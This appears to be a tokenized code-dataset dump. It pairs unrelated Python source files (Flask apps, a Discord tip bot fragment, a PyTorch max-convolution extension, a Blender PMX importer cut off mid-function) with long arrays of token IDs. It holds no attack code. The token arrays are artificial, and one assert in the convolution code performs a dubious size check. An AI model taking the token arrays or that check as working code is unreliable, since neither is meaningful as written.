462,
18884,
7272,
12893,
29889,
12719,
29889,
6717,
29898,
17987,
29922,
17987,
29897,
13,
462,
9651,
565,
4337,
29918,
2132,
434,
29901,
13,
462,
18884,
8297,
353,
2313,
536,
29889,
6026,
2580,
29898,
2780,
29922,
29900,
29916,
29955,
29896,
29945,
29906,
29890,
29953,
29897,
13,
462,
18884,
8297,
29889,
842,
29918,
8921,
29898,
13,
462,
462,
1678,
1024,
29922,
13073,
29889,
8921,
29889,
4990,
29918,
978,
29892,
13,
462,
462,
1678,
9849,
29918,
2271,
29922,
13073,
29889,
8921,
29889,
485,
14873,
29918,
2271,
29918,
294,
29898,
4830,
2433,
2732,
742,
2159,
29922,
29906,
29945,
29953,
876,
13,
462,
18884,
8297,
29889,
1202,
29918,
2671,
29898,
13,
462,
462,
1678,
1024,
543,
25271,
366,
363,
278,
1016,
362,
29991,
613,
13,
462,
462,
1678,
995,
543,
1068,
29912,
29900,
29913,
501,
9486,
28283,
1068,
1642,
4830,
29898,
14506,
876,
13,
462,
18884,
8297,
29889,
842,
29918,
21720,
29898,
726,
543,
29911,
666,
29933,
327,
325,
29912,
29900,
29913,
1642,
4830,
29898,
2917,
29889,
16358,
511,
9849,
29918,
2271,
29922,
1311,
29889,
7451,
29889,
1792,
29889,
485,
14873,
29918,
2271,
29918,
294,
29898,
4830,
2433,
2732,
742,
2159,
29922,
29906,
29945,
29953,
876,
13,
13,
462,
18884,
7272,
12893,
29889,
12719,
29889,
6717,
29898,
17987,
29922,
17987,
29897,
13,
462,
4706,
1683,
29901,
13,
462,
9651,
1018,
29901,
13,
462,
18884,
4337,
29918,
2132,
434,
353,
3132,
29889,
11631,
29898,
12632,
3166,
29892,
19538,
24070,
29892,
5785,
29898,
14506,
876,
13,
462,
9651,
5174,
29901,
13,
462,
18884,
8297,
353,
2313,
536,
29889,
6026,
2580,
29898,
2780,
29922,
29900,
29916,
600,
29900,
29900,
29900,
29900,
29897,
13,
462,
18884,
8297,
29889,
842,
29918,
8921,
29898,
13,
462,
462,
1678,
1024,
29922,
13073,
29889,
8921,
29889,
4990,
29918,
978,
29892,
13,
462,
462,
1678,
9849,
29918,
2271,
29922,
13073,
29889,
8921,
29889,
485,
14873,
29918,
2271,
29918,
294,
29898,
4830,
2433,
2732,
742,
2159,
29922,
29906,
29945,
29953,
876,
13,
462,
18884,
8297,
29889,
1202,
29918,
2671,
29898,
13,
462,
462,
1678,
1024,
543,
13919,
6872,
5253,
29889,
3529,
1423,
3579,
29991,
8477,
1068,
363,
2472,
19602,
13,
462,
462,
1678,
995,
543,
29952,
29912,
29900,
10114,
1642,
4830,
29898,
14506,
876,
13,
462,
18884,
8297,
29889,
842,
29918,
21720,
29898,
726,
543,
29911,
666,
29933,
327,
325,
29912,
29900,
29913,
1642,
4830,
29898,
2917,
29889,
16358,
511,
9849,
29918,
2271,
29922,
1311,
29889,
7451,
29889,
1792,
29889,
485,
14873,
29918,
2271,
29918,
294,
29898,
4830,
2433,
2732,
742,
2159,
29922,
29906,
29945,
29953,
876,
13,
13,
462,
18884,
7272,
12893,
29889,
12719,
29889,
6717,
29898,
17987,
29922,
17987,
29897,
13,
462,
9651,
565,
4337,
29918,
2132,
434,
29901,
13,
462,
18884,
8297,
353,
2313,
536,
29889,
6026,
2580,
29898,
2780,
29922,
29900,
29916,
29955,
29896,
29945,
29906,
29890,
29953,
29897,
13,
462,
18884,
8297,
29889,
842,
29918,
8921,
29898,
13,
462,
462,
1678,
1024,
29922,
13073,
29889,
8921,
29889,
4990,
29918,
978,
29892,
13,
462,
462,
1678,
9849,
29918,
2271,
29922,
13073,
29889,
8921,
29889,
485,
14873,
29918,
2271,
29918,
294,
29898,
4830,
2433,
2732,
742,
2159,
29922,
29906,
29945,
29953,
876,
13,
462,
18884,
8297,
29889,
1202,
29918,
2671,
29898,
13,
462,
462,
1678,
1024,
10724,
29900,
29913,
756,
260,
16242,
426,
29896,
29913,
23230,
29906,
29913,
501,
9486,
28283,
29952,
1642,
4830,
29898,
13073,
29889,
8921,
29889,
4990,
29918,
978,
29892,
13,
462,
462,
462,
462,
18884,
1583,
29889,
7451,
29889,
657,
29918,
1792,
29898,
524,
29898,
2034,
24070,
8106,
4990,
29918,
978,
29892,
13,
462,
462,
462,
462,
18884,
5253,
511,
13,
462,
462,
1678,
995,
543,
5592,
355,
372,
22573,
873,
29991,
1159,
13,
462,
18884,
8297,
29889,
842,
29918,
21720,
29898,
726,
543,
29911,
666,
29933,
327,
325,
29912,
29900,
29913,
1642,
4830,
29898,
2917,
29889,
16358,
511,
9849,
29918,
2271,
29922,
1311,
29889,
7451,
29889,
1792,
29889,
485,
14873,
29918,
2271,
29918,
294,
29898,
4830,
2433,
2732,
742,
2159,
29922,
29906,
29945,
29953,
876,
13,
13,
462,
18884,
7272,
12893,
29889,
12719,
29889,
6717,
29898,
17987,
29922,
17987,
29897,
13,
13,
1753,
6230,
29898,
7451,
1125,
13,
1678,
9225,
29889,
1202,
29918,
29883,
468,
29898,
29911,
666,
29898,
7451,
876,
2
] |
demos/prey-predator/prey_predator_abm/sim_params.py | neo-empresarial/covid-19 | 3 | 7801 | """
Simulation parameters.
"""
SIMULATION_TIME_STEPS = 300
| [
1,
9995,
13,
8942,
2785,
4128,
29889,
13,
15945,
29908,
13,
13,
5425,
29924,
13309,
8098,
29918,
15307,
29918,
1254,
29923,
7024,
353,
29871,
29941,
29900,
29900,
13,
2
] |
toast.py | ErinMorelli/em-slack-french-toast | 0 | 179794 | """
Copyright (c) 2021 <NAME>.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
"""
from os import environ
import newrelic.agent
from french_toast.app import app
from french_toast.alert import FrenchToastAlerter
def main():
"""Initialize Flask application."""
newrelic.agent.initialize()
# Start status checking daemon
FrenchToastAlerter().run_daemon()
# Start Flask app
app.run(host='0.0.0.0', port=int(environ.get("PORT", 5000)))
if __name__ == '__main__':
main()
| [
1,
9995,
13,
11882,
1266,
313,
29883,
29897,
29871,
29906,
29900,
29906,
29896,
529,
5813,
15513,
13,
13,
27293,
338,
1244,
1609,
16896,
29892,
3889,
310,
8323,
29892,
304,
738,
2022,
4017,
292,
13,
29874,
3509,
310,
445,
7047,
322,
6942,
5106,
2066,
313,
1552,
13,
29908,
6295,
14093,
4968,
304,
5376,
297,
278,
18540,
1728,
24345,
29892,
3704,
13,
14037,
29485,
278,
10462,
304,
671,
29892,
3509,
29892,
6623,
29892,
10366,
29892,
9805,
29892,
13,
5721,
2666,
29892,
269,
803,
1947,
29892,
322,
29914,
272,
19417,
14591,
310,
278,
18540,
29892,
322,
304,
13,
546,
2415,
12407,
304,
6029,
278,
18540,
338,
15252,
3276,
304,
437,
577,
29892,
4967,
304,
13,
1552,
1494,
5855,
29901,
13,
13,
1576,
2038,
3509,
1266,
8369,
322,
445,
10751,
8369,
4091,
367,
13,
11707,
287,
297,
599,
14591,
470,
23228,
2011,
1080,
310,
278,
18540,
29889,
13,
15945,
29908,
13,
13,
3166,
2897,
1053,
12471,
13,
5215,
716,
276,
506,
29889,
14748,
13,
13,
3166,
285,
4615,
29918,
517,
579,
29889,
932,
1053,
623,
13,
3166,
285,
4615,
29918,
517,
579,
29889,
12888,
1053,
5176,
1762,
579,
29909,
1358,
357,
13,
13,
13,
1753,
1667,
7295,
13,
1678,
9995,
6644,
6646,
2379,
1278,
2280,
1213,
15945,
13,
1678,
716,
276,
506,
29889,
14748,
29889,
24926,
580,
13,
13,
1678,
396,
7370,
4660,
8454,
1146,
9857,
13,
1678,
5176,
1762,
579,
29909,
1358,
357,
2141,
3389,
29918,
1388,
9857,
580,
13,
13,
1678,
396,
7370,
2379,
1278,
623,
13,
1678,
623,
29889,
3389,
29898,
3069,
2433,
29900,
29889,
29900,
29889,
29900,
29889,
29900,
742,
2011,
29922,
524,
29898,
21813,
29889,
657,
703,
15082,
613,
29871,
29945,
29900,
29900,
29900,
4961,
13,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
1667,
580,
13,
2
] |
backend/app/schemas/article_option.py | alexd2580/portnoy | 0 | 193174 | <filename>backend/app/schemas/article_option.py
from pydantic import BaseModel, Json
from app.types.article import Color, Piece, Sex, Size
class ArticleOptions(BaseModel):
piece: Json[list[Piece]]
sex: Json[list[Sex]]
size: Json[list[Size]]
color: Json[list[Color]]
class Config:
orm_mode = True
| [
1,
529,
9507,
29958,
27852,
29914,
932,
29914,
11993,
29914,
7914,
29918,
3385,
29889,
2272,
13,
3166,
282,
2941,
7716,
1053,
7399,
3195,
29892,
14355,
13,
13,
3166,
623,
29889,
8768,
29889,
7914,
1053,
9159,
29892,
26005,
346,
29892,
21703,
29892,
21179,
13,
13,
13,
1990,
21746,
5856,
29898,
5160,
3195,
1125,
13,
1678,
8424,
29901,
14355,
29961,
1761,
29961,
29925,
347,
346,
5262,
13,
1678,
7916,
29901,
14355,
29961,
1761,
29961,
29903,
735,
5262,
13,
1678,
2159,
29901,
14355,
29961,
1761,
29961,
3505,
5262,
13,
1678,
2927,
29901,
14355,
29961,
1761,
29961,
3306,
5262,
13,
13,
1678,
770,
12782,
29901,
13,
4706,
470,
29885,
29918,
8513,
353,
5852,
13,
2
] |
app/main/forms.py | tonyishangu/Pitch | 0 | 42587 | from flask_wtf import FlaskForm
from wtforms import StringField,TextAreaField,SubmitField, SelectField
from wtforms.validators import Required
class PitchForm(FlaskForm):
title = StringField('Pitch title',validators=[Required()])
category = SelectField('Pitch category', choices=[('Motivational', 'Motivational'), ('Famous', 'Famous'), ('Despair', 'Despair')], validators=[Required()])
description = TextAreaField('Pitch description', validators=[Required()])
submit = SubmitField('Submit')
class UpdateProfile(FlaskForm):
bio = TextAreaField('Tell us about you.',validators = [Required()])
submit = SubmitField('Submit')
class Commentform(FlaskForm):
description = TextAreaField('Comment description', validators=[Required()])
submit = SubmitField('Submit')
class Upvoteform(FlaskForm):
submit1 = SubmitField('Upvote (+)')
class Downvoteform(FlaskForm):
submit2 = SubmitField('Downvote (-)') | [
1,
515,
29784,
29918,
29893,
13264,
1053,
2379,
1278,
2500,
13,
3166,
281,
29873,
9514,
1053,
1714,
3073,
29892,
1626,
13799,
3073,
29892,
16228,
3073,
29892,
7605,
3073,
13,
3166,
281,
29873,
9514,
29889,
3084,
4097,
1053,
830,
5958,
13,
13,
1990,
349,
2335,
2500,
29898,
8754,
1278,
2500,
1125,
13,
13,
1678,
3611,
353,
1714,
3073,
877,
29925,
2335,
3611,
742,
3084,
4097,
11759,
19347,
580,
2314,
13,
1678,
7663,
353,
7605,
3073,
877,
29925,
2335,
7663,
742,
19995,
11759,
877,
29924,
327,
440,
1288,
742,
525,
29924,
327,
440,
1288,
5477,
6702,
29943,
314,
681,
742,
525,
29943,
314,
681,
5477,
6702,
4002,
18784,
742,
525,
4002,
18784,
1495,
1402,
2854,
4097,
11759,
19347,
580,
2314,
13,
1678,
6139,
353,
3992,
13799,
3073,
877,
29925,
2335,
6139,
742,
2854,
4097,
11759,
19347,
580,
2314,
13,
1678,
9752,
353,
3323,
2415,
3073,
877,
16228,
1495,
13,
13,
1990,
10318,
13909,
29898,
8754,
1278,
2500,
1125,
13,
1678,
17799,
353,
3992,
13799,
3073,
877,
29911,
514,
502,
1048,
366,
29889,
742,
3084,
4097,
353,
518,
19347,
580,
2314,
13,
1678,
9752,
353,
3323,
2415,
3073,
877,
16228,
1495,
13,
13,
1990,
461,
689,
29898,
8754,
1278,
2500,
1125,
13,
1678,
6139,
353,
3992,
13799,
3073,
877,
20001,
6139,
742,
2854,
4097,
11759,
19347,
580,
2314,
13,
1678,
9752,
353,
3323,
2415,
3073,
877,
16228,
1495,
13,
13,
1990,
5020,
15814,
689,
29898,
8754,
1278,
2500,
1125,
13,
1678,
9752,
29896,
353,
3323,
2415,
3073,
877,
3373,
15814,
20532,
29897,
1495,
13,
13,
1990,
9943,
15814,
689,
29898,
8754,
1278,
2500,
1125,
13,
1678,
9752,
29906,
353,
3323,
2415,
3073,
877,
6767,
15814,
8521,
29897,
1495,
2
] |
build/lib.linux-x86_64-3.7/max_convolution2d/max_convolution2d.py | KarenUllrich/Pytorch-MaxConvolution-extension | 0 | 89528 | import math
from torch import nn
from torch.autograd import Function
from torch.autograd.function import once_differentiable
from torch.nn.modules.utils import _pair
import max_convolution2d_sampler_backend as max_convolution2d
def max_conv2d(input,
weight,
kernel_size=2,
padding=0):
"""Apply max-convolution to the input.
Every parameter except input and weight can be either single int
or a pair of int.
Args:
input : The first parameter.
weight : The second parameter.
kernel_size : total size of your correlation kernel, in pixels
height and width
padding : padding applied to input1 and input2 before applying
the correlation sampling, will modify output height and width
Returns:
Tensor: Result of max-convolution
"""
max_convolution_func = MaxConvolutionFunction(kernel_size,
padding)
return max_convolution_func(input, weight)
class MaxConvolutionFunction(Function):
def __init__(self,
kernel_size,
padding,):
super(MaxConvolutionFunction, self).__init__()
self.kernel_size = _pair(kernel_size)
self.padding = _pair(padding)
def forward(self, input, weight):
# I do not think, we need this line.
# self.save_for_backward(input, weight)
kH, kW = self.kernel_size
padH, padW = self.padding
assert math.log2(input.size(2) + 2 * padH) % kH == 0, "Kernel and Padding do not fit striding requirement."
assert math.log2(input.size(3) + 2 * padW) % kW == 0, "Kernel and Padding do not fit striding requirement."
output = max_convolution2d.forward(input, weight, kH, kW, padH, padW)
return output
@once_differentiable
def backward(self, grad_output):
assert False, ("The Max-Convolution is not differentiable.")
class MaxConv2d(nn.Module):
def __init__(self, kernel_size=1, padding=0):
super(MaxConv2d, self).__init__()
self.kernel_size = kernel_size
self.padding = padding
def forward(self, input, weight):
return max_conv2d(input, weight, self.kernel_size, self.padding)
| [
1,
1053,
5844,
13,
3166,
4842,
305,
1053,
302,
29876,
13,
3166,
4842,
305,
29889,
1300,
468,
3665,
1053,
6680,
13,
3166,
4842,
305,
29889,
1300,
468,
3665,
29889,
2220,
1053,
2748,
29918,
29881,
8349,
7268,
519,
13,
3166,
4842,
305,
29889,
15755,
29889,
7576,
29889,
13239,
1053,
903,
18784,
13,
13,
5215,
4236,
29918,
535,
4068,
29906,
29881,
29918,
13445,
20069,
29918,
27852,
408,
4236,
29918,
535,
4068,
29906,
29881,
13,
13,
13,
1753,
4236,
29918,
20580,
29906,
29881,
29898,
2080,
29892,
13,
1669,
7688,
29892,
13,
1669,
8466,
29918,
2311,
29922,
29906,
29892,
13,
1669,
7164,
29922,
29900,
1125,
13,
1678,
9995,
2052,
368,
4236,
29899,
535,
4068,
304,
278,
1881,
29889,
13,
13,
1678,
7569,
3443,
5174,
1881,
322,
7688,
508,
367,
2845,
2323,
938,
13,
1678,
470,
263,
5101,
310,
938,
29889,
13,
13,
1678,
826,
3174,
29901,
13,
4706,
1881,
584,
450,
937,
3443,
29889,
13,
4706,
7688,
584,
450,
1473,
3443,
29889,
13,
4706,
8466,
29918,
2311,
584,
3001,
2159,
310,
596,
19869,
8466,
29892,
297,
17036,
13,
9651,
3171,
322,
2920,
13,
4706,
7164,
584,
7164,
7436,
304,
1881,
29896,
322,
1881,
29906,
1434,
15399,
13,
9651,
278,
19869,
23460,
29892,
674,
6623,
1962,
3171,
322,
2920,
13,
13,
1678,
16969,
29901,
13,
4706,
323,
6073,
29901,
7867,
310,
4236,
29899,
535,
4068,
13,
13,
1678,
9995,
13,
1678,
4236,
29918,
535,
4068,
29918,
9891,
353,
5918,
1168,
4068,
6678,
29898,
17460,
29918,
2311,
29892,
13,
462,
462,
462,
29871,
7164,
29897,
13,
1678,
736,
4236,
29918,
535,
4068,
29918,
9891,
29898,
2080,
29892,
7688,
29897,
13,
13,
13,
1990,
5918,
1168,
4068,
6678,
29898,
6678,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
13,
462,
8466,
29918,
2311,
29892,
13,
462,
7164,
29892,
1125,
13,
4706,
2428,
29898,
7976,
1168,
4068,
6678,
29892,
1583,
467,
1649,
2344,
1649,
580,
13,
4706,
1583,
29889,
17460,
29918,
2311,
353,
903,
18784,
29898,
17460,
29918,
2311,
29897,
13,
4706,
1583,
29889,
12791,
353,
903,
18784,
29898,
12791,
29897,
13,
13,
1678,
822,
6375,
29898,
1311,
29892,
1881,
29892,
7688,
1125,
13,
13,
4706,
396,
306,
437,
451,
1348,
29892,
591,
817,
445,
1196,
29889,
13,
4706,
396,
1583,
29889,
7620,
29918,
1454,
29918,
1627,
1328,
29898,
2080,
29892,
7688,
29897,
13,
4706,
413,
29950,
29892,
26226,
353,
1583,
29889,
17460,
29918,
2311,
13,
4706,
17132,
29950,
29892,
17132,
29956,
353,
1583,
29889,
12791,
13,
4706,
4974,
5844,
29889,
1188,
29906,
29898,
2080,
29889,
2311,
29898,
29906,
29897,
718,
29871,
29906,
334,
17132,
29950,
29897,
1273,
413,
29950,
1275,
29871,
29900,
29892,
376,
29968,
5851,
322,
349,
4676,
437,
451,
6216,
851,
4821,
11809,
1213,
13,
4706,
4974,
5844,
29889,
1188,
29906,
29898,
2080,
29889,
2311,
29898,
29941,
29897,
718,
29871,
29906,
334,
17132,
29956,
29897,
1273,
26226,
1275,
29871,
29900,
29892,
376,
29968,
5851,
322,
349,
4676,
437,
451,
6216,
851,
4821,
11809,
1213,
13,
4706,
1962,
353,
4236,
29918,
535,
4068,
29906,
29881,
29889,
11333,
29898,
2080,
29892,
7688,
29892,
413,
29950,
29892,
26226,
29892,
17132,
29950,
29892,
17132,
29956,
29897,
13,
13,
4706,
736,
1962,
13,
13,
1678,
732,
10646,
29918,
29881,
8349,
7268,
519,
13,
1678,
822,
1250,
1328,
29898,
1311,
29892,
4656,
29918,
4905,
1125,
13,
4706,
4974,
7700,
29892,
4852,
1576,
5918,
29899,
1168,
4068,
338,
451,
17473,
519,
23157,
13,
13,
13,
1990,
5918,
1168,
29894,
29906,
29881,
29898,
15755,
29889,
7355,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
8466,
29918,
2311,
29922,
29896,
29892,
7164,
29922,
29900,
1125,
13,
4706,
2428,
29898,
7976,
1168,
29894,
29906,
29881,
29892,
1583,
467,
1649,
2344,
1649,
580,
13,
4706,
1583,
29889,
17460,
29918,
2311,
353,
8466,
29918,
2311,
13,
4706,
1583,
29889,
12791,
353,
7164,
13,
13,
1678,
822,
6375,
29898,
1311,
29892,
1881,
29892,
7688,
1125,
13,
4706,
736,
4236,
29918,
20580,
29906,
29881,
29898,
2080,
29892,
7688,
29892,
1583,
29889,
17460,
29918,
2311,
29892,
1583,
29889,
12791,
29897,
13,
2
] |
Hackerearth_codemonk/Basic Input Output/seating arrengement.py | a3X3k/Competitive-programing-hacktoberfest-2021 | 12 | 180600 | t=int(input())
for i in range(t):
s=int(input())
m=s%12
if m==1:
print(s+11,'WS')
elif m==2:
print(s+9,'MS')
elif m==3:
print(s+7,'AS')
elif m==4:
print(s+5,'AS')
elif m==5:
print(s+3,'MS')
elif m==6:
print(s+1,'WS')
elif m==7:
print(s-1,'WS')
elif m==8:
print(s-3,'MS')
elif m==9:
print(s-5,'AS')
elif m==10:
print(s-7,'AS')
elif m==11:
print(s-9,'MS')
elif m==0:
print(s-11,'WS')
# t=int(input())
# for i in range(t):
# s=int(input())
# m=s%12
# l=11
# if m==0:
# print(s-11,'WS')
# for i in range(1,12):
# if m==i:
# print(s+l)
# else:
# l=l-2
| [
1,
260,
29922,
524,
29898,
2080,
3101,
13,
1454,
474,
297,
3464,
29898,
29873,
1125,
13,
1678,
269,
29922,
524,
29898,
2080,
3101,
13,
1678,
286,
29922,
29879,
29995,
29896,
29906,
13,
1678,
565,
286,
1360,
29896,
29901,
13,
4706,
1596,
29898,
29879,
29974,
29896,
29896,
5501,
7811,
1495,
13,
1678,
25342,
286,
1360,
29906,
29901,
13,
4706,
1596,
29898,
29879,
29974,
29929,
5501,
4345,
1495,
13,
1678,
25342,
286,
1360,
29941,
29901,
13,
4706,
1596,
29898,
29879,
29974,
29955,
5501,
3289,
1495,
13,
1678,
25342,
286,
1360,
29946,
29901,
13,
4706,
1596,
29898,
29879,
29974,
29945,
5501,
3289,
1495,
13,
1678,
25342,
286,
1360,
29945,
29901,
13,
4706,
1596,
29898,
29879,
29974,
29941,
5501,
4345,
1495,
13,
1678,
25342,
286,
1360,
29953,
29901,
13,
4706,
1596,
29898,
29879,
29974,
29896,
5501,
7811,
1495,
13,
1678,
25342,
286,
1360,
29955,
29901,
13,
4706,
1596,
29898,
29879,
29899,
29896,
5501,
7811,
1495,
13,
1678,
25342,
286,
1360,
29947,
29901,
13,
4706,
1596,
29898,
29879,
29899,
29941,
5501,
4345,
1495,
13,
1678,
25342,
286,
1360,
29929,
29901,
13,
4706,
1596,
29898,
29879,
29899,
29945,
5501,
3289,
1495,
13,
1678,
25342,
286,
1360,
29896,
29900,
29901,
13,
4706,
1596,
29898,
29879,
29899,
29955,
5501,
3289,
1495,
13,
1678,
25342,
286,
1360,
29896,
29896,
29901,
13,
4706,
1596,
29898,
29879,
29899,
29929,
5501,
4345,
1495,
13,
1678,
25342,
286,
1360,
29900,
29901,
13,
4706,
1596,
29898,
29879,
29899,
29896,
29896,
5501,
7811,
1495,
13,
29937,
260,
29922,
524,
29898,
2080,
3101,
13,
29937,
363,
474,
297,
3464,
29898,
29873,
1125,
13,
29937,
268,
269,
29922,
524,
29898,
2080,
3101,
13,
29937,
268,
286,
29922,
29879,
29995,
29896,
29906,
13,
29937,
268,
301,
29922,
29896,
29896,
13,
29937,
268,
565,
286,
1360,
29900,
29901,
13,
29937,
308,
1596,
29898,
29879,
29899,
29896,
29896,
5501,
7811,
1495,
13,
29937,
268,
363,
474,
297,
3464,
29898,
29896,
29892,
29896,
29906,
1125,
13,
29937,
308,
565,
286,
1360,
29875,
29901,
13,
29937,
632,
1596,
29898,
29879,
29974,
29880,
29897,
13,
29937,
308,
1683,
29901,
13,
29937,
632,
301,
29922,
29880,
29899,
29906,
13,
13,
2
] |
plugins/plot/__init__.py | DeStream-dev/electrum-destream | 26 | 36078 | <reponame>DeStream-dev/electrum-destream
# from electrum_stratis.i18n import _
# fullname = 'Plot History'
# description = _("Ability to plot transaction history in graphical mode.")
# requires = [('matplotlib', 'matplotlib')]
# available_for = ['qt']
| [
1,
529,
276,
1112,
420,
29958,
2772,
3835,
29899,
3359,
29914,
15436,
5848,
29899,
7854,
1633,
13,
29937,
515,
3546,
5848,
29918,
710,
18792,
29889,
29875,
29896,
29947,
29876,
1053,
903,
13,
13,
29937,
2989,
978,
353,
525,
20867,
5298,
29915,
13,
29937,
6139,
353,
903,
703,
4920,
1793,
304,
6492,
10804,
4955,
297,
3983,
936,
4464,
23157,
13,
29937,
6858,
353,
29871,
518,
877,
2922,
17357,
742,
525,
2922,
17357,
1495,
29962,
13,
29937,
3625,
29918,
1454,
353,
6024,
17915,
2033,
13,
2
] |
mmd_tools/core/pmx/importer.py | ptrthomas/blender_mmd_tools | 0 | 197795 | <reponame>ptrthomas/blender_mmd_tools
# -*- coding: utf-8 -*-
import os
import collections
import logging
import time
import bpy
from mathutils import Vector, Matrix
import mmd_tools.core.model as mmd_model
from mmd_tools import utils
from mmd_tools import bpyutils
from mmd_tools.core import pmx
from mmd_tools.core.bone import FnBone
from mmd_tools.core.material import FnMaterial
from mmd_tools.core.morph import FnMorph
from mmd_tools.core.vmd.importer import BoneConverter
from mmd_tools.operators.display_item import DisplayItemQuickSetup
from mmd_tools.operators.misc import MoveObject
class PMXImporter:
CATEGORIES = {
0: 'SYSTEM',
1: 'EYEBROW',
2: 'EYE',
3: 'MOUTH',
}
MORPH_TYPES = {
0: 'group_morphs',
1: 'vertex_morphs',
2: 'bone_morphs',
3: 'uv_morphs',
4: 'uv_morphs',
5: 'uv_morphs',
6: 'uv_morphs',
7: 'uv_morphs',
8: 'material_morphs',
}
def __init__(self):
self.__model = None
self.__targetScene = bpy.context.scene
self.__scale = None
self.__root = None
self.__armObj = None
self.__meshObj = None
self.__vertexGroupTable = None
self.__textureTable = None
self.__rigidTable = None
self.__boneTable = []
self.__materialTable = []
self.__imageTable = {}
self.__sdefVertices = {} # pmx vertices
self.__vertex_map = None
self.__materialFaceCountTable = None
@staticmethod
def flipUV_V(uv):
u, v = uv
return u, 1.0-v
def __createObjects(self):
""" Create main objects and link them to scene.
"""
pmxModel = self.__model
obj_name = bpy.path.display_name(pmxModel.filepath)
self.__rig = mmd_model.Model.create(pmxModel.name, pmxModel.name_e, self.__scale, obj_name)
root = self.__rig.rootObject()
mmd_root = root.mmd_root
self.__root = root
root['import_folder'] = os.path.dirname(pmxModel.filepath)
txt = bpy.data.texts.new(obj_name)
txt.from_string(pmxModel.comment.replace('\r', ''))
mmd_root.comment_text = txt.name
txt = bpy.data.texts.new(obj_name+'_e')
txt.from_string(pmxModel.comment_e.replace('\r', ''))
mmd_root.comment_e_text = txt.name
self.__armObj = self.__rig.armature()
self.__armObj.hide = True
self.__armObj.select = False
def __createMeshObject(self):
model_name = self.__root.name
self.__meshObj = bpy.data.objects.new(name=model_name+'_mesh', object_data=bpy.data.meshes.new(name=model_name))
self.__meshObj.parent = self.__armObj
self.__targetScene.objects.link(self.__meshObj)
def __createBasisShapeKey(self):
if self.__meshObj.data.shape_keys:
assert(len(self.__meshObj.data.vertices) > 0)
assert(len(self.__meshObj.data.shape_keys.key_blocks) > 1)
return
self.__targetScene.objects.active = self.__meshObj
bpy.ops.object.shape_key_add()
def __importVertexGroup(self):
self.__vertexGroupTable = []
for i in self.__model.bones:
self.__vertexGroupTable.append(self.__meshObj.vertex_groups.new(name=i.name))
def __importVertices(self):
self.__importVertexGroup()
pmxModel = self.__model
pmx_vertices = pmxModel.vertices
vertex_count = len(pmx_vertices)
vertex_map = self.__vertex_map
if vertex_map:
indices = collections.OrderedDict(vertex_map).keys()
pmx_vertices = tuple(pmxModel.vertices[x] for x in indices)
vertex_count = len(indices)
if vertex_count < 1:
return
mesh = self.__meshObj.data
mesh.vertices.add(count=vertex_count)
mesh.vertices.foreach_set('co', tuple(i for pv in pmx_vertices for i in (Vector(pv.co).xzy * self.__scale)))
vertex_group_table = self.__vertexGroupTable
vg_edge_scale = self.__meshObj.vertex_groups.new(name='mmd_edge_scale')
vg_vertex_order = self.__meshObj.vertex_groups.new(name='mmd_vertex_order')
for i, pv in enumerate(pmx_vertices):
pv_bones, pv_weights, idx = pv.weight.bones, pv.weight.weights, (i,)
vg_edge_scale.add(index=idx, weight=pv.edge_scale, type='REPLACE')
vg_vertex_order.add(index=idx, weight=i/vertex_count, type='REPLACE')
if isinstance(pv_weights, pmx.BoneWeightSDEF):
if pv_bones[0] > pv_bones[1]:
pv_bones.reverse()
pv_weights.weight = 1.0 - pv_weights.weight
pv_weights.r0, pv_weights.r1 = pv_weights.r1, pv_weights.r0
vertex_group_table[pv_bones[0]].add(index=idx, weight=pv_weights.weight, type='ADD')
vertex_group_table[pv_bones[1]].add(index=idx, weight=1.0-pv_weights.weight, type='ADD')
self.__sdefVertices[i] = pv
elif len(pv_bones) == 1:
bone_index = pv_bones[0]
if bone_index >= 0:
vertex_group_table[bone_index].add(index=idx, weight=1.0, type='ADD')
elif len(pv_bones) == 2:
vertex_group_table[pv_bones[0]].add(index=idx, weight=pv_weights[0], type='ADD')
vertex_group_table[pv_bones[1]].add(index=idx, weight=1.0-pv_weights[0], type='ADD')
elif len(pv_bones) == 4:
for bone, weight in zip(pv_bones, pv_weights):
vertex_group_table[bone].add(index=idx, weight=weight, type='ADD')
else:
raise Exception('unkown bone weight type.')
vg_edge_scale.lock_weight = True
vg_vertex_order.lock_weight = True
def __storeVerticesSDEF(self):
if len(self.__sdefVertices) < 1:
return
self.__createBasisShapeKey()
sdefC = self.__meshObj.shape_key_add(name='mmd_sdef_c')
sdefR0 = self.__meshObj.shape_key_add(name='mmd_sdef_r0')
sdefR1 = self.__meshObj.shape_key_add(name='mmd_sdef_r1')
for i, pv in self.__sdefVertices.items():
w = pv.weight.weights
sdefC.data[i].co = Vector(w.c).xzy * self.__scale
sdefR0.data[i].co = Vector(w.r0).xzy * self.__scale
sdefR1.data[i].co = Vector(w.r1).xzy * self.__scale
logging.info('Stored %d SDEF vertices', len(self.__sdefVertices))
def __importTextures(self):
pmxModel = self.__model
self.__textureTable = []
for i in pmxModel.textures:
self.__textureTable.append(bpy.path.resolve_ncase(path=i.path))
def __createEditBones(self, obj, pmx_bones):
""" create EditBones from pmx file data.
@return the list of bone names which can be accessed by the bone index of pmx data.
"""
editBoneTable = []
nameTable = []
specialTipBones = []
dependency_cycle_ik_bones = []
#for i, p_bone in enumerate(pmx_bones):
# if p_bone.isIK:
# if p_bone.target != -1:
# t = pmx_bones[p_bone.target]
# if p_bone.parent == t.parent:
# dependency_cycle_ik_bones.append(i)
with bpyutils.edit_object(obj) as data:
for i in pmx_bones:
bone = data.edit_bones.new(name=i.name)
loc = Vector(i.location).xzy * self.__scale
bone.head = loc
editBoneTable.append(bone)
nameTable.append(bone.name)
for i, (b_bone, m_bone) in enumerate(zip(editBoneTable, pmx_bones)):
if m_bone.parent != -1:
if i not in dependency_cycle_ik_bones:
b_bone.parent = editBoneTable[m_bone.parent]
else:
b_bone.parent = editBoneTable[m_bone.parent].parent
for b_bone, m_bone in zip(editBoneTable, pmx_bones):
if isinstance(m_bone.displayConnection, int):
if m_bone.displayConnection != -1:
b_bone.tail = editBoneTable[m_bone.displayConnection].head
else:
b_bone.tail = b_bone.head
else:
loc = Vector(m_bone.displayConnection).xzy * self.__scale
b_bone.tail = b_bone.head + loc
